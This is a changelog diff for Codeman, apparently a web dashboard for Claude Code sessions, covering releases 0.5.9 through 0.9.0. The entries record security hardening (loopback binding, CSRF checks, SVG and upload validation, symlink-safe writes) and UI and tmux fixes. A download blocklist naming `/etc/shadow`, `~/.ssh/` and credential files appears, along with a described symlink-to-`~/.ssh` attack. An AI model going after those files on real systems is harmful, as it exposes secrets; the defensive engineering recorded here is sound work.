+  - **App Settings modal:** stop the modal overflowing horizontally on narrow viewports.
+  - **systemd:** sync the `codeman-web.service` template with the deployed unit.
+
+## 0.9.0
+
+### Minor Changes
+
+- Security hardening release: network-bind policy, auth lockout recovery, download/SVG hardening, dependency & supply-chain fixes, tmux launch reliability, and a full security-architecture doc.
+
+  **Network binding (COD-29, #107):**
+  - The web server now defaults to binding `127.0.0.1` (loopback) instead of `0.0.0.0`, so a fresh install is reachable only from the same machine and needs no password. New `--host` / `-H` / `CODEMAN_HOST` flag to choose the bind host.
+  - Binding a non-loopback host **without** `CODEMAN_PASSWORD` no longer refuses to start — it **starts and prints a loud warning** with the three ways to secure it (set `CODEMAN_PASSWORD`, bind loopback + an authenticated tunnel / `tailscale serve`, or acknowledge with `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`). This keeps Codeman "just working" for new users while making remote exposure a guided, explicit choice. Host classification lives in the new `src/web/network-auth-policy.ts` (handles `127.0.0.0/8`, `::1`, `::ffff:127.*`, bracketed IPv6).
+  - A post-install security note now explains the loopback default and how to expose safely.
+
+  **Authentication (COD-29, #107):**
+  - Auth lockout now recovers gracefully: the per-IP rate-limit (`429`) check runs **after** the cookie/credential checks, so a valid session cookie or correct password is never locked out by a prior attacker's failures from the same IP (important behind a shared-IP tunnel). Wrong credentials are still counted and still hit the limit, and a `Retry-After` header is returned.
+
+  **Downloads & content-type hardening (COD-29, #107):**
+  - New session-scoped `POST /api/download` route: realpath-bounded to the session working dir, a sensitive-path blocklist (`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, …), `isFile()` + 50 MB cap, forced `attachment`.
+  - Workspace `.svg` files are served as `application/octet-stream` + `attachment` + `nosniff` (closes a stored-XSS-via-SVG vector); `nosniff` now applies to all `file-raw` responses.
+
+  **Dependencies & supply chain (COD-28, #106):**
+  - Bumped security-sensitive deps to patched versions (`@fastify/static` 9, `fastify` 5.8, `uuid` 14, `vitest` 4.1, …) and added `overrides` for patched transitives (`picomatch`, `basic-ftp`, `fast-uri`, `flatted`); `npm audit` goes from 7 advisories to 0.
+  - New `npm run check:public-assets` (`scripts/check-public-assets.mjs`): scans `src/web/public/**` for literal NUL bytes and runs `node --check` on every `.js` file, plus a Prettier pass on maintained files. Removed literal NUL placeholders from `app.js`. Added `test/dependency-security.test.ts` and `test/frontend-public-tooling.test.ts`.
+
+  **tmux launch reliability (COD-31, #110):**
+  - New tmux sessions and respawns launch from a stable `/tmp` and `cd` into the workspace inside the pane, avoiding `new-session` crashes when a FUSE/rclone-mounted workspace has a transient mount blip at launch. The `cd "<dir>" && <cmd>` form is fail-safe (the CLI never runs in `/tmp`) and the path is validated + double-quoted.
+
+  **Test stability (COD-30, #108):**
+  - Cleared leaked auth env in the Vitest setup, corrected stale route status-code / SSE-lifecycle expectations to match shipped behavior, updated the mobile keyboard accessory expectations, and measured DOMContentLoaded via browser navigation timing. Also fixed the `WebServer` title tests for the new `host` constructor arg + async `renderIndexHtml`.
+
+  **Docs:**
+  - New `docs/security-architecture.md` documenting the full model (network binding, auth pipeline, the tunnel `req.ip` caveat, file-serving hardening, supply-chain, multi-instance isolation, security headers, and recommended secure setups). CLAUDE.md updated accordingly.
+
+## 0.8.2
+
+### Patch Changes
+
+- Session detach/undock, opt-in gesture-control overlay, multi-monitor spanning, new App-Settings toggles, and asset cache-busting.
+  - **Session detach/undock + instance isolation (#103):** Detach a session into its own solo (popup) window from the tab strip. Adds multi-instance isolation primitives in `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`) keyed off `CODEMAN_INSTANCE`, so a beta can run side-by-side with prod without discovering/attaching to prod's live tmux sessions or clobbering its `state.json`. `CODEMAN_INSTANCE` defaults to the production layout (`~/.codeman`, `-L codeman`, port 3000), so master installs are unaffected. Adds `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). The legacy `~/.claudeman` migration is now scoped to the default instance only. Hardened detach edge cases. Tests: `test/config/instance.test.ts`.
+  - **Gesture-control overlay (Phase 5, opt-in via `CODEMAN_GESTURE=1`):** Camera hand-tracking overlay (self-hosted MediaPipe — wasm + model fetched at install/build via `scripts/fetch-gesture-assets.mjs` rather than committed). `CODEMAN_GESTURE=1` makes the feature _available_ (CSP widening + `/gesture/` assets + `window.__codemanGestureAvailable`); the per-user **Gesture Control (beta)** toggle (App Settings → Display → Input, default OFF) is the actual on/off and reloads the page to inject/remove the bundle. Dashboard-only (not solo popups). Labeled "(beta)" (#109).
+  - **Multi-monitor button:** Header button (opt-in via App Settings → Display → Header Displays) that POSTs `/api/system/span-displays` to spawn `scripts/span-codeman.sh` — a maximized browser `--app` window sized to the union of all displays, so the gesture layer's floating panels can drag across the physical monitor seam. Tests: `test/routes/system-span-displays.test.ts`.
+  - **New App-Settings toggles (#105):** Gesture control and the multi-monitor button are both opt-in (default OFF), with live show/hide on save.
+  - **Asset cache-busting:** `renderIndexHtml` appends `?v=<mtime>` to every same-origin `.js`/`.css` reference; `index.html` is served `no-cache`, so a normal reload picks up edited modules/styles without a hard refresh. Tests: `test/render-index-html.test.ts`.
+  - **Gesture Control toggle placement:** the toggle now lives inside the existing **Input** settings section (alongside Local Echo / CJK Input / Extended Keyboard Bar) instead of a duplicate "Input" section; only the toggle itself is hidden when `CODEMAN_GESTURE=1` is unset, leaving the rest of the section intact.
+  - **Service env:** `scripts/codeman-web.service` now sets `CODEMAN_GESTURE=1` so the gesture feature is available on the local install (still gated behind the default-OFF per-user toggle).
+  - **Docs:** CLAUDE.md updated for the orchestrator loop, multi-monitor/span-displays, cache-busting, gesture/multi-monitor toggles, and structural-count fixes.
+
+## 0.8.1
+
+### Patch Changes
+
+- Thinking Effort now flows as a soft default the user can override in-session (PR #104, by @TeigenZhang).
+
+  Previously Codeman carried the effort setting as the `CLAUDE_CODE_EFFORT_LEVEL` env var, which Claude Code treats as a hard override — it locked effort for the whole session and rejected in-session `/effort` switching (including switching to `ultracode`). Effort is now injected at spawn time as a CLI soft default that `/effort` can still change freely in either direction:
+  - Regular levels (`low`/`medium`/`high`/`xhigh`/`max`) are passed via `claude --effort <level>` (the settings `effortLevel` key silently drops `max`, so the flag is used instead).
+  - `ultracode` (xhigh effort + standing dynamic-workflow orchestration) is passed via `claude --settings '{"ultracode":true}'`, since the `--effort` flag rejects it.
+
+  Details:
+  - New `effort` field on the create-session, quick-start, and Ralph-loop request schemas; threaded through `Session._effort` to both spawn paths (tmux `buildSpawnCommand` and direct-PTY `buildInteractiveArgs`), persisted in `SessionState.effort`, and restored on reboot recovery.
+  - `buildEffortCliArgs()` is the single, allowlist-validated source for both carriers (injection-safe).
+  - Settings UI adds an "Ultracode (multi-agent workflows)" option to the Thinking Effort dropdown; the frontend no longer emits `CLAUDE_CODE_EFFORT_LEVEL`.
+  - Legacy migration: sessions persisted with the old env var are auto-migrated into the new `effort` field, and the stale tmux env var is unset so respawned panes are no longer locked.
+  - Adds `test/effort-injection.test.ts` (13 cases) covering carrier mapping, injection guards, args building, and constructor migration.
+
+## 0.8.0
+
+### Minor Changes
+
+- Event-loop responsiveness fix, mobile image upload, response-viewer polish, and a mobile-UI trim.
+  - **fix: avoid event-loop stalls from synchronous tmux/ps calls (#100):** The session manager ran `execSync` for tmux mouse-mode toggles, `list-panes`, and `ps`/`pgrep` resource-stat queries on the main thread. Under multi-session / many-pane load these blocking spawns froze Node's single event loop, stalling SSE broadcasts and PTY I/O (the ":3000 briefly unreachable, process never restarts" class of incident). Converted those calls to async `execAsync` and updated all callers to `await`. Added a lightweight `utils/event-loop-monitor.ts` that samples loop-delay and logs when a stall threshold is exceeded, started on web-server boot and stopped on shutdown — so future regressions leave a timestamped, quantified log line instead of vanishing silently.
+  - **feat(web): mobile image upload to active session via paste dialog (#101):** The mobile keyboard-accessory paste dialog now attaches images, not just text — via a native picker (`accept=image/*` → camera / photo library / files) plus best-effort capture of images pasted into the textarea. Both paths reuse the existing `_uploadAndInsertImages()` → `POST /api/sessions/:id/paste-image` pipeline. Images are re-encoded client-side before upload (PNG→PNG to preserve transparency, everything else→JPEG, animated GIFs passed through untouched) so the bytes always match their declared extension — fixing the Android/MIUI case where a WebP/HEIF mislabeled as `image/jpeg` passed the extension allowlist but failed the server's magic-byte check. The server logs a precise diagnostic on any remaining magic-byte mismatch.
+  - **feat(web): response-viewer transcript fallback + code-block rendering (#102):** A substantial response-viewer styling overhaul — proportional prose font (monospace kept for code), refined heading/code/blockquote/list styling, readable max content width, and a smoother slide-in animation; the `.rv-text` rules now also apply to `.response-viewer-body` so transcript-missing fallback content gets the same typography. Plus a `_renderMarkdown` null-safety fix (`text` → `src = text || ''`).
+  - **feat(web): remove /compact button from the mobile keyboard accessory bar:** Dropped `/compact` from both the simple and extended accessory-bar layouts and the associated action handling. `/clear` retains its double-tap confirmation. Verified on a touch-emulated viewport that neither layout renders a compact action.
+
+## 0.7.1
+
+### Patch Changes
+
+- **fix(respawn): auto-accept now fires on plan approvals after `Worked for X` line, and on AskUserQuestion menus**
+
+  Two related blockers in the respawn controller's auto-accept path:
+  - Modern Claude Code emits `✻ Worked for Xm Ys` immediately before a plan-approval menu. `_detectCompletionMessage()` cancelled the auto-accept timer and `canAutoAccept()` then rejected on `completionMessageTime !== null`, so plan approvals **never** auto-accepted — the 10 s completion-confirm timer instead started a respawn cycle while the menu sat unanswered.
+  - The same logic in `signalElicitation()` set a hard flag that blocked auto-accept whenever Claude Code fired the `elicitation_dialog` hook, contradicting the in-UI hint ("Auto-accept presses Enter for plan approvals **and default question options**"). AskUserQuestion menus were therefore never auto-accepted either.
+
+  Fix:
+  - `_detectCompletionMessage()` no longer cancels the auto-accept timer; the auto-accept pre-filter is now the authoritative "is there a numbered selection menu?" gate.
+  - `canAutoAccept()` and the AI-plan-check callback both accept `'watching'` AND `'confirming_idle'` states (covers the single-PTY-burst case where `Worked for` and the menu arrive together — `_detectCompletionMessage` returns early before the substantial-output check can demote state back to watching). `sendAutoAcceptEnter()` self-transitions back to `'watching'` before sending Enter.
+  - `signalElicitation()` is now an affirmative hint that primes the auto-accept timer instead of blocking. Still gated on `config.autoAcceptPrompts` AND state ∈ {`watching`, `confirming_idle`} — never fires Enter when respawn is off or auto-accept is disabled.
+  - AI plan-check prompt broadened to recognize AskUserQuestion / elicitation menus as valid for auto-accept (the verdict name `PLAN_MODE` is preserved for compatibility but now means "auto-accept this selection menu").
+  - Removed the now-unused `elicitationDetected` field and its assignments.
+
+  Two new regression tests cover both the separate-PTY-chunk and single-PTY-chunk cases; the previously misleading "should NOT send Enter when completion message was detected" test was renamed and re-scoped to clarify it tests the **no-menu** path (which still correctly rejects via the pre-filter).
+
+  **docs(web): correct `sendPendingCtrlL` comment** — removed the stale "called by foo/bar" note from the dead-call-graph helper after #99.
+
+## 0.7.0
+
+### Minor Changes
+
+- Response viewer & terminal-stability improvements, plus test/error-handling hardening.
+  - **Copy button on code blocks (#98):** Every fenced code block in the response viewer now has a one-click copy button pinned to its top-right, outside the `<pre>` scroll container so it stays put during horizontal scroll. ASCII diagrams keep their line-wrap toggle alongside it. Copy prefers the async Clipboard API and falls back to a hidden-textarea + `execCommand` path, so it works over plain HTTP (tunnel) too, with a brief ✓/✕ feedback state.
+  - **Fix: stop auto-sending Ctrl+L from session-selection paths (#99):** A fast page refresh or SSE reconnect could fire two programmatic Ctrl+L (`\x0c`) sends within Claude Code 2.x's "clear conversation" confirmation window, silently wiping the active conversation. Removed the automatic Ctrl+L sends from `selectSession()`, `restoreTerminalSize()`, and the dead `sendPendingCtrlL()` path; redraws now rely on resize/SIGWINCH. User-initiated Ctrl+L still works. Trade-off: an occasional transient stale Ink frame right after refresh that self-heals on the next keypress — far preferable to silent data loss.
+  - **Test & error-handling hardening (#97):** Repaired route-test harness error rendering via a dedicated `route-error-handler.ts`, and stopped the AI idle/plan checkers from spawning real processes during tests.
+
+## 0.6.12
+
+### Patch Changes
+
+- Fix new-session crash after a tmux upgrade and isolate Codeman sessions on a dedicated tmux socket.
+  - **Pane file-descriptor limit**: raise `ulimit -Sn` before launching the CLI (in both the spawn and respawn paths) so the newer tmux + macOS launchd combination — which hands panes a low soft `nofile` limit (256) that recent Claude Code refuses to start under — no longer kills every freshly spawned session on startup.
+  - **Single-socket isolation**: all Codeman-owned tmux sessions now live on a dedicated socket (`tmux -L codeman`, overridable via `CODEMAN_TMUX_SOCKET`), fully separated from the user's default tmux server. The socket name is validated and shell-escaped at every call site.
+  - **Drop the drift-prone per-session `tmuxSocket` field**: session reconciliation collapses to a single `list-panes` query against the one socket, eliminating live sessions being wrongly marked dead ("session not found") and duplicate "Restored:" tabs. Stale per-session socket tags and duplicate records are cleaned from disk on load (dedup by `muxName`, keeping the real entry over `restored-` placeholders).
+  - **Route remaining bare-`tmux` call sites through the socket**: the window-size query on re-attach (previously fell back to 120×40 and lost scrollback) and the send-key route (Shift+Enter / Ctrl+Enter newline).
+  - **SSH chooser scripts** (`tmux-manager.sh`, `tmux-chooser.sh`) route every tmux call through the dedicated socket.
+
+## 0.6.11
+
+### Patch Changes
+
+- Resume Conversation: fixes and folder drill-down.
+  - **fix(history)**: `decodeProjectKey()` now uses longest-join-first backtracking with on-disk validation, so sibling directories sharing a prefix (e.g. `diary/` vs `diary-app/`) resolve to the correct path. Previously the greedy shortest-match decoder picked the shorter name and bailed, surfacing `$HOME` in the Resume Conversation list and resuming into the wrong folder. Greedy decode is kept as a fallback so history for deleted projects still resolves. (#92)
+  - **fix(tabs)**: Drop the client-side resurrection of ended-session tabs. The old code cached open tabs in `localStorage` and rebuilt them as grayed-out stubs whenever the server no longer knew them, which left phantom tabs after closing a session on another device. The server is now the single source of truth; legacy `localStorage` keys are purged on init. Net -44 / +6 lines. (#93)
+  - **feat(history)**: New "View all in this folder" drill-down on Resume Conversation. `GET /api/history/sessions` accepts `projectKey` (validated against `^[A-Za-z0-9_-]+$` before any filesystem access), `offset`, and `limit`; single-folder mode bypasses the 50-cap and returns `{ sessions, total }`. Frontend adds a modal listing 20 sessions per page with a "Show more" pagination button. Modal items omit their own "View all" button to prevent recursive entry points. (#94)
+
+## 0.6.10
+
+### Patch Changes
+
+- ## Security: paste-image endpoint hardening (#90)
+
+  Addresses seven findings from the dismissed review of #84. Most exposed in tunneled deployments where `CODEMAN_PASSWORD` is set but the server is reachable beyond localhost.
+  - **CSRF protection** on `POST /api/sessions/:id/paste-image`. Requires `Origin`/`Referer` to match `req.host`; non-browser clients (no `Origin` and no `Referer`) must send `X-Codeman-CSRF`. Defeats cross-origin `<form enctype="multipart/form-data">` submits that would otherwise plant arbitrary bytes into the victim's `.claude-images/` while their session cookie is live.
+  - **Magic-byte validation** on uploaded images. Sniffs the first 12 bytes against PNG/JPEG/GIF/WebP/BMP signatures and rejects 415 on mismatch. Polyglot HTML-or-SVG-with-image-MIME no longer round-trips through the endpoint.
+  - **Symlink-safe writes** on `.claude-images/`. `lstat` before the write, non-recursive `mkdir`, `O_EXCL|O_NOFOLLOW` on file open. A `node_modules` postinstall (or the agent itself) planting `.claude-images -> ~/.ssh/` no longer redirects pastes outside `workingDir`.
+  - **Multipart parser swap** to `@fastify/multipart` with `limits: { fileSize: 10MB, files: 1, fields: 4 }`. Replaces a hand-rolled boundary scanner that matched the literal boundary anywhere in the body, hard-coded `\r\n` (silently corrupting LF-only clients), and had no part-count cap.
+  - **Rate limit + GC**: token-bucket (30/min per IP+session) and hourly GC of `paste-*` files older than 7 days from each live session's `.claude-images/`. New `paste-image-gc.ts` started/stopped from `WebServer.start/stop`.
+  - **Collision-free filenames**: `paste-${Date.now()}-${randomBytes(4)}${ext}`. Two tabs pasting in the same millisecond no longer silently last-write-wins.
+  - **Bracketed-paste preservation**: text-only paste in `image-input.js` now goes through `terminal.paste(text)` instead of `sendInput(text)`, so xterm preserves `CSI 200~ ... CSI 201~` markers — Claude Code uses them as part of its prompt-injection defenses.
+
+  ## Fix: duplicate multipart parser conflict
+
+  Removed a duplicate multipart content-type parser left behind after the swap above. The duplicate registration conflicted with `@fastify/multipart`'s own parser; uploads now flow through the plugin exclusively.
+
+  ## WebGL renderer auto-fallback hardening (#91)
+
+  Follow-ups on the longtask auto-fallback shipped in #83.
+  - `PerformanceObserver` is now disconnected on `onContextLoss` as well as on the trip path. Previously the observer outlived its disposed addon after a context loss, holding a closure reference over every longtask the page emitted.
+  - Thresholds (`200ms / 3 longtasks / 30s window / 5s grace / 7d sticky-disable`) are hoisted to `WEBGL_FALLBACK` in `constants.js`. No more inline literals.
+  - New `evaluateWebGLLongTaskTrip()` pure helper splits the rolling-window arithmetic from the `PerformanceObserver` callback so the trip math is unit-testable. New `test/webgl-fallback.test.ts` (9 tests, port 3166): trip inside window, no-trip when spread, sub-threshold filtering, stale-entry pruning, cumulative counting across batches, observer-dispose idempotency.
+
+  ## CI: server boot smoke test
+
+  GitHub Actions now boots the server as a final step after typecheck/lint/format. Catches production-only ESM/CJS regressions that `tsx` masks in dev.
+
+  ## Docs
+
+  `CLAUDE.md` frontend-module table updated to include `image-input.js` (overlooked when #84 landed).
+
+## 0.6.9
+
+### Patch Changes
+
+- Terminal renderer hardening, SSE bandwidth cut, image paste, and a security tightening on the new live filter:
+  - **Multi-primitive yield for write pacing** (#85): replaces six raw `requestAnimationFrame` callsites in the xterm.js write pipeline with a yielding helper that races `requestAnimationFrame`, `setTimeout(50)`, and a tick Worker. Keeps the terminal responsive when the tab is backgrounded or occluded — Chrome's intensive-throttling no longer stalls long writes.
+  - **WebGL longtask auto-fallback** (#83): a `PerformanceObserver` watches for ≥200ms WebGL frames; three within a 30s window disposes the WebGL addon and falls back to the canvas renderer. Decision is persisted in localStorage for 7 days, and `?webgl=force` clears it.
+  - **Per-client live SSE subscription filter** (#86): each connected client gets a stable UUID and can narrow its terminal stream to one session via `POST /api/events/subscribe` — no EventSource reconnect on tab switches. Cuts SSE bandwidth roughly N× when N sessions are open. Lifecycle/metadata events (`session:*`, `case:*`, `ralph:*`, `hook:*`) now broadcast to every client so sidebars stay in sync.
+  - **Image paste and drag-and-drop into the terminal** (#84): `Ctrl+V` and dropped images upload to `POST /api/sessions/:id/paste-image`, save under `${workingDir}/.claude-images/paste-${ts}.${ext}` and type the path into the terminal. Hard 10MB cap, server-generated filename (no traversal), `.svg` deliberately excluded from the allowlist to avoid a same-origin XSS path through `file-raw`.
+  - **SSE clientId validation**: the per-client identifier introduced in #86 is now constrained to `[A-Za-z0-9_-]{8,64}` at both ingress points. Without this, an authenticated attacker could send another tab's clientId to silently evict it from broadcasts, mutate any clientId's session filter to blackhole the victim's terminal stream, or grow `sseClientsById` unboundedly via long IDs. The subscribe payload is also capped at 64 session entries of ≤128 chars each.
+
+## 0.6.8
+
+### Patch Changes
+
+- Finish the hostname-aware notification plumbing started in 0.6.7 and lock down the recent UI/runtime fixes with regression tests.
+  - Browser Notification API (OS-level desktop pop-ups, layer 3 of the 5-layer notification system) now uses `${originalTitle}: ${title}` instead of the hardcoded `Codeman:` literal — so multi-host users running Codeman on laptop / dev box / NAS see `codeman:<host>: <event>` consistently across tab title, tab-flash, Web Push, and OS notifications.
+  - Inline session rename hardened against three corner cases: IME composition commits (Chinese pinyin Enter no longer ships half-composed text as the session name), mid-rename SSE deletion (orphaned `<input>` no longer 404s on blur), and double-fire on stuck settle-once flag (closure-local `settled` boolean replaces the boolean instance flag).
+  - Test coverage backfilled for two prior shipped fixes:
+    - `<title>codeman:<host></title>` server-side templating (#82): 8 tests covering default `os.hostname()`, `--title-hostname` override, HTML-escape against `<script>`-style breakout, ampersand non-double-encoding, and template-tail byte-identical invariance.
+    - tmux size-query helper (#80): 15 tests covering the browser-resize-between-attaches happy path, the query-then-die race, zero/negative/empty/non-numeric output fallbacks, and argv-form/timeout assertions that lock down the no-shell-interpolation guarantee. Inline 14-line query block extracted into a named `queryTmuxWindowSize()` export in `session.ts` so the test surface is a pure function.
+  - Regression coverage added for `stripInkRedrawBloat` route helper.
+  - CLAUDE.md and README.md updated to document dual-CLI env-prefix discipline (`CLAUDE_CODE_*` vs `OPENCODE_*`), the `xterm-zerolag-input` published-package side-effect of overlay edits, and the unified hostname prefix across tab title / tab-flash / OS notifications.
+
+## 0.6.7
+
+### Patch Changes
+
+- - **fix(client): preserve inline rename input across tab re-renders** (#81) — Right-click → rename on a session tab no longer loses keystrokes when SSE traffic from sibling sessions triggers a tab re-render. Adds an `_inlineRenameActive` guard at the top of `renderSessionTabs()` and `_fullRenameSessionTabs()` so the in-progress input isn't destroyed mid-typing. Also fixes a latent double-fire of `finishRename` (blur + Enter could both invoke it). Drive-by: safer DOM child clearing in place of `innerHTML = ''`.
+  - **feat: hostname-aware window title** (#82) — The browser tab title is now `codeman:<hostname>` instead of the bare `Codeman` literal, so users running Codeman on multiple hosts (laptop, dev box, NAS) can tell at a glance which tab points at which backend. New `--title-hostname <name>` CLI flag overrides the detected `os.hostname()` when it's noisy or you want a cosmetic name. The title is templated into the served HTML on first byte (with narrow HTML escaping), so it's correct from the first paint and works without JavaScript. Title-flash logic now respects the per-host title.
+  - **perf: larger terminal tail on tab switch** — `TERMINAL_TAIL_SIZE` raised from 128KB to 1MB. When switching back to a busy session tab you now get ~8× more scrollback restored immediately.
+  - **fix: preserve response text in Ink redraw stripping** — `stripInkRedrawBloat()` rewritten from a first-VPA approach to cluster-based detection. The previous algorithm assumed all VPA escapes after the first one belonged to a single redraw region and discarded everything in between, which silently lost 100KB+ of legitimate Claude response text once a render had occurred. The new approach groups VPAs into clusters separated by ≥8KB gaps and only collapses clusters spanning ≥32KB, so streamed response content between redraw bursts is preserved.
+  - **docs**: `CLAUDE.md` Additional Commands gains the `--title-hostname` row; `README.md` gets a "Hostname-Aware Window Title" subsection under Multi-Session Dashboard.
+
+## 0.6.6
+
+### Patch Changes
+
+- **Terminal scrollback significantly increased** — both the xterm.js viewport and the tmux backing buffer were bottlenecking how far back you could scroll. Three changes:
+  - `DEFAULT_SCROLLBACK` raised from 20000 → 50000 lines (xterm.js, main terminal). The previous bump from 5000 only helped users with empty localStorage; existing users were stuck on whatever value they first picked up. The loader now treats `DEFAULT_SCROLLBACK` as a floor — if your stored value is below the new minimum, you're raised to it automatically.
+  - Subagent / teammate terminals (`panels-ui.js`) were stuck at 5000; now use the same `DEFAULT_SCROLLBACK` constant (50000).
+  - New tmux sessions now run with `history-limit 50000` (tmux defaults to 2000). This matters for hard-reload / re-attach — without it, only the last ~2000 lines survive the round-trip back into a fresh xterm.
+
+  **Tmux flicker on session re-attach fixed (PR #80 by @aakhter)**: the PTY now queries the existing tmux window size via `tmux display -p` before spawning, instead of hardcoding 120x40. Previously, every re-attach forced tmux to resize down to 120x40, causing a visible flicker and one frame of scrollback loss. The `-x 120 -y 40` flag was also dropped from `tmux new-session` so the initial size matches the first attaching client. Uses `execFileSync` (not shell) for safety and falls back to 120x40 on any error.
+
+  **Docs**: CLAUDE.md now documents two recurring foot-guns — the `xterm-zerolag-input` overlay code is duplicated between `packages/xterm-zerolag-input/src/` and inline inside `src/web/public/app.js`, so any overlay change must touch both; and the COM workflow explicitly includes a post-push `gh run watch` step to confirm CI before considering the release done.
+
+## 0.6.5
+
+### Patch Changes
+
+- **Mobile fix**
+  - Android virtual keyboard: space character was silently dropped on touch devices using GBoard / SwiftKey / similar IMEs. Root cause: the input-event handler in `terminal-ui.js` treated any whitespace-only textarea value as proof that xterm had already processed the input. A lone space (`' '.trim() === ''`) tripped this guard, so the space was consumed but never forwarded. Now skips only when the textarea is truly empty (or whitespace from a non-space key). Reported and diagnosed by @coolk8 in #79.
+
+  **Docs**
+  - `CLAUDE.md`: added Zod `.optional()`-vs-`null` gotcha (recurring trap from 0.6.3 / 0.6.4 incidents) and a more visible warning against running bare `npm test` (kills the host tmux session).
+  - `docs/local-echo-overlay-plan.md`: marked SHIPPED, corrected xterm version reference (v5.3.0 → `@xterm/xterm` ^6.0.0).
+
+## 0.6.4
+
+### Patch Changes
+
+- Fix "Failed to enable respawn: Invalid request body" error when selecting infinity duration (∞) in the respawn modal. Frontend was sending `durationMinutes: null`, which Zod's `.optional()` schema rejected (it accepts `undefined` only). The body now omits the field when no duration is selected.
+
+## 0.6.3
+
+### Patch Changes
+
+- **Fix**
+  - Allowlist `opusContext1mEnabled` in `SettingsUpdateSchema`. Without this entry, the strict schema rejected `PUT /api/settings {"opusContext1mEnabled":...}` with `INVALID_INPUT`, so the toggle's value never persisted across reloads. The frontend was already reading and writing this key (`settings-ui.js:336/1137`, `session-ui.js:340`), so saves were silently failing — users never noticed because the load path falls back to `false` on missing keys, hiding the bug. (#78)
+
+## 0.6.2
+
+### Patch Changes
+
+- **Mobile UX**
+  - Resume Conversation list (welcome page) reworked for narrow screens: 2-line title clamp so more of the first prompt is visible; case-aware subtitle that renders `#caseName` (or `#caseName/sub`) when `workingDir` matches a known case, otherwise falls back to the directory basename; inline `⋯` toggle that expands a detail panel with full prompt, full path, timestamp, size, and short session id; `/Users/<user>/` now collapses to `~/` alongside `/home/<user>/`. (#77)
+  - Response viewer: ASCII diagram wrap toggle, dedicated mobile code-block layout, and chrome-stripping fallback when the model wraps its reply in extra markup. (#75)
+  - Mobile keyboard accessory bar no longer triggers vertical scroll. (#72)
+
+  **Sessions & settings**
+  - New `thinkingEffort` setting on session creation, with `xhigh` option and `/effort max` mobile shortcut. (#73)
+  - `thinkingEffort` is now allowlisted in `SettingsUpdateSchema` so it round-trips through PATCH /api/settings.
+  - `envOverrides` (`CLAUDE_CODE_*` / `OPENCODE_*`) are now passed to Claude via tmux env exports at spawn time instead of being written to `<case>/.claude/settings.local.json`. Eliminates UI/disk drift; the value lives on `Session._envOverrides`, is exported by `tmux-manager.buildEnvExports()`, and is persisted in `SessionState.envOverrides`. (#74)
+
+  **Fixes**
+  - Eye icon (active-session indicator) now follows `/clear` to the new Claude conversation instead of getting stuck on the previous transcript. (#76)
+  - `tmux-manager.reconcileSessions` now uses `|` as the field separator, fixing parsing when session names contain other delimiters. (#71)
+
+  **Docs**
+  - CLAUDE.md: added `npm run knip` to the dead-code sweep table and a `Common Gotchas` entry documenting the `envOverrides` → tmux export flow.
+
+## 0.6.1
+
+### Patch Changes
+
+- Internal cleanup and release hygiene:
+  - **Dead-code sweep via knip**: added `knip.json` for dead-code detection and ran a full sweep — removed unused test files, unused scripts, and narrowed internal module exports to the minimum surface area actually consumed.
+  - **Lockfile drift prevention**: `version-packages` now runs `npm install --package-lock-only` and verifies the lockfile is in sync via `scripts/check-lockfile-sync.mjs`; CI runs the same check on every push/PR so version drift fails the build instead of reaching production. Resolves the `package-lock.json` / `package.json` version mismatch that shipped in 0.6.0.
+  - **Docs tightening**: archived 22 completed plan docs from `docs/`, corrected file/handler counts in `CLAUDE.md`, documented the lockfile step in the COM workflow, and removed footer redundancy.
+
+## 0.6.0
+
+### Minor Changes
+
+- Community contributions from @aakhter:
+  - **feat (#66): Tab reorder shortcuts** — `Ctrl+Shift+{` and `Ctrl+Shift+}` move the active session tab left/right, matching WezTerm convention. Order persists across reloads via `saveSessionOrder()`.
+  - **feat (#67): Active tab visibility + Alt+N badges** — active tab now has a bright green border with color-matched glow, and the first 9 tabs display number badges hinting at the `Alt+N` switch shortcut. Badges update on reorder/rerender.
+  - **feat (#68): Clipboard API** — new `POST /api/clipboard` accepting `{text}` broadcasts a `clipboard:write` SSE event; connected browsers attempt `navigator.clipboard.writeText()` with a manual-copy modal fallback when the page isn't focused. Auth-protected via the standard middleware. Useful for pushing snippets from remote sessions to the user's local clipboard.
+  - **fix (#65): Android Shift+key double character** — pressing `Shift+A` on attached Android keyboards no longer produces "AA". Tracks xterm-handled keydown timestamps and skips the orphaned-input listener for 50ms after a real keydown, while still catching Gboard symbol-keyboard inputs (keyCode 229).
+
+## 0.5.13
+
+### Patch Changes
+
+- Fix "Case path not found" error in Quick Start when `~/codeman-cases/` does not exist (issue #64). Two bugs in `session-ui.js`:
+  - `runClaude()` auto-create read `createCaseData.case`, but `POST /api/cases` returns `{ success, data: { case } }` — corrected to `createCaseData.data.case`.
+  - `runShell()` had no auto-create logic and would immediately throw on a missing case directory — now mirrors `runClaude()`'s create-on-demand flow.
+
+## 0.5.12
+
+### Patch Changes
+
+- Fix quick-start to resolve linked cases before codeman-cases fallback. `/api/quick-start` was always resolving `caseName` against `CASES_DIR`, ignoring entries in `~/.codeman/linked-cases.json`. Sessions started via quick-start now correctly honour linked external project directories, consistent with regular case routes.
+
+## 0.5.11
+
+### Patch Changes
+
+- Community contributions and security hardening:
+  - Mobile response viewer: native-scroll panel for reading full Claude responses with markdown rendering via marked.js (PR #62)
+  - PWA support: service worker caching, web app manifest, and Android home screen install (PR #59)
+  - Named Cloudflare tunnel support (PR #58)
+  - Markdown rendering for response viewer with HTML sanitization (XSS prevention) — strips dangerous elements, event handlers, and javascript: URIs
+  - Service worker switched from stale-while-revalidate to network-first caching so deploys take effect immediately
+  - Content-Disposition filename sanitization to prevent header injection in file downloads
+  - Expose session.muxName public getter, replace unsafe `as any` cast in session-routes
+  - Static import for execFile in session-routes
+  - Keyboard shortcut updates: Alt+1-9 tab switching, Shift+Enter newline
+  - Repo restructure for cleaner GitHub landing page
+  - Mobile logo, expandable history, session resume fixes
+
+## 0.5.10
+
+### Patch Changes
+
+- fix: allow bracket characters in model validation regex so models like opus[1m] (1M context window) are accepted instead of silently dropped. Quote the model flag value in tmux spawn commands to prevent bash glob expansion of bracket patterns.
+
+  docs: update macOS launchd instructions to use `launchctl bootstrap` instead of deprecated `load`. Clean up README install and service sections.
+
+## 0.5.9
+
+### Patch Changes
+
